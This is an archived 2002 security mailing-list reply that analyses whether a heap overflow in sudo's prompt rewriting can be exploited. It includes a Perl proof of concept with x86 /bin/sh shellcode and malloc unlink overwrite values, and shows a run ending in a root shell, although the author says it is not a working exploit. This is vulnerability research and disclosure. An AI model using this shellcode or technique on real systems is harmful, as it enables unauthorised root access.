Re: Sudo version 1.6.6 now available (fwd)

From: Przemyslaw Frasunek (venglinat_private)
Date: Thu Apr 25 2002 - 12:01:37 PDT

  • Next message: Florian Weimer: "Re: /lib/ld-2.2.4.so"

    Jonas Eriksson <jeat_private> napisal(a):
    
    >  o Fixed a security hole in prompt rewriting found by Global InterSec.
    
    Looks like, it won't be easy to exploit.
    
    There are possible few scenarios: using a unlink() or frontlink()
    macro in chunk_alloc() or chunk_free(). In both cases we can control
    fd and bk pointers passed to macros, using the long pathname
    argument. The most important problem is to set fake chunk size to safe
    value. It must be positive (to pass condition in chunk_alloc() before
    unlink()) and quite small (remainder + remainder_size must be valid
    pointer). With smallest possible value without NULL bytes (0x01010101)
    it segfaults. It can't be negative also.
    
    0x08054bff in chunk_alloc (ar_ptr=0x805f9a0, nb=80) at malloc.c:2996
    2996                set_foot(remainder, remainder_size);
    
    set_foot() macro is called just after offending unlink(). Arbitrary
    address is already overwritten, but remainder_size is way to big. This
    scenario is possible to exploit when SIGSEGV sighandler would be
    set (but it's not).
    
    The attached below code ISN'T A WORKING EXPLOIT. It's only my
    demonstration, how it would be exploitable in case of SIGSEGV handler
    set or set_foot() macro not segfaulting.
    
    [venglin@clitoris sudo-1.6.5p2]$ cat babunia.pl
    $sudo = $ARGV[0];
    $prompt = "h%h%h%h%aaaaaaaaaaaaaaaaaaaah%";
    $prepad = 266;
    $postpad = 512;
    $retloc = hex(`objdump -R $sudo | grep '\\<_exit\\>' | cut -f1 -d' '`);
    $retad = 0x8063b10;
    $align = 20;
    print "Prompt: $prompt\n";
    print "Prepad: $prepad\n";
    print "Postpad: $postpad\n";
    print "Align: $align\n";
    print "_exit() @ ", sprintf("0x%x\n", $retloc);
    print "shellcode @ ", sprintf("0x%x\n", $retad);
    $testcode  = "\xeb" . chr($align);
    $testcode .= "\x90" x $align;
    $testcode .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c";
    $testcode .= "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb";
    $testcode .= "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
    $frame  = pack('l', 0x01010101);
    $frame .= pack('l', $retloc-12);
    $frame .= pack('l', $retad);
    $path   = "a" x $prepad;
    $path  .= $frame;
    $path  .= $testcode;
    $path  .= "a"x($postpad - length($testcode));
    system($sudo, "-p", $prompt, $path);
    [venglin@clitoris sudo-1.6.5p2]$ perl ./babunia.pl ./sudo
    Prompt: h%h%h%h%aaaaaaaaaaaaaaaaaaaah%
    Prepad: 266
    Postpad: 512
    Align: 20
    _exit() @ 0x805fe40
    shellcode @ 0x8063b10
    
    litorisclitorisclitorisclitoris%aaaaaaaaaaaaaaaaaaaah%
    Sorry, try again.
    litorisclitorisclitorisclitoris%aaaaaaaaaaaaaaaaaaaaI
    ¨¨ry again.
    litorisclitorisclitorisclitoris%aaaaaaaaaaaaaaaaaaaaI
    ¨¨ry again.
    ./sudo: 3 incorrect password attempts
    # id
    uid=0(root) gid=1000(users) egid=0(root) groups=1000(users),6(disk),23(audio),24(video)
    
    My recent idea was to expand heap by passing 0x01010101 bytes of
    environment variables, so remainder + remainder_size would be
    reachable and set_foot() macro wouldn't segfault. But I haven't tried
    out it yet.
    
    -- 
    * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
    * Inet: przemyslawat_private ** PGP: D48684904685DF43EA93AFA13BE170BF *
    



    This archive was generated by hypermail 2b30 : Fri Apr 26 2002 - 08:28:27 PDT